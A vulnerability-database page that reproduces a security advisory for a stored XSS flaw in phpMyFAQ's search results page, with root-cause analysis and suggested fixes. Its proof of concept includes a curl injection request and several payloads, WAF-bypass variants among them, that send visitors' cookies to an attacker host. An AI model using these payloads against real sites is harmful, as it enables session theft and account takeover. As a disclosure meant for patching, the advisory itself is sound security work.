Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-pqh6-8fxf-jx22

MediumCVSS 6.9 / 10
Published May 6, 2026·Last modified May 6, 2026
Affected Components(0)

No affected components available

Description

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.


Affected Files

| File | Location | Issue | |---|---|---| | phpmyfaq/assets/templates/default/search.twig | lines rendering result.question, result.answerPreview | (Vertical Bar) raw disables autoescape | | phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php | search result processing loop | html_entity_decode(strip_tags(...)) restores encoded payloads | | phpmyfaq/src/phpMyFAQ/Search.php | logSearchTerm() | No HTML sanitization on stored search term (secondary, preventive) |


Details

Vulnerability A (Primary): search.twig| raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.


Vulnerability B (Amplifier): SearchController.phphtml_entity_decode(strip_tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough:

Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:

<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>

Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

  1. Retrieves the record from the database
  2. Applies strip_tags() → entity-encoded payload passes through
  3. Applies html_entity_decode() → raw <svg onload=...> is restored
  4. Passes the value to search.twig as result.answerPreview
  5. Template renders with | raw → XSS executes

Step 4 — Impact

  • Session cookie exfiltration → full account takeover
  • Administrator session hijacking (admin visiting search page)
  • Persistent attack: payload fires for every visitor until manually removed
  • Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "attacker@example.com"
    }
  }'

Step 2 — Trigger XSS as victim:

https://target.example.com/search.html?search=searchable-keyword

The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

Impact

  • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
  • Integrity : DOM manipulation, phishing overlay injection.
  • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php

- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )

Risk Scores
Base Score
6.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.25%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard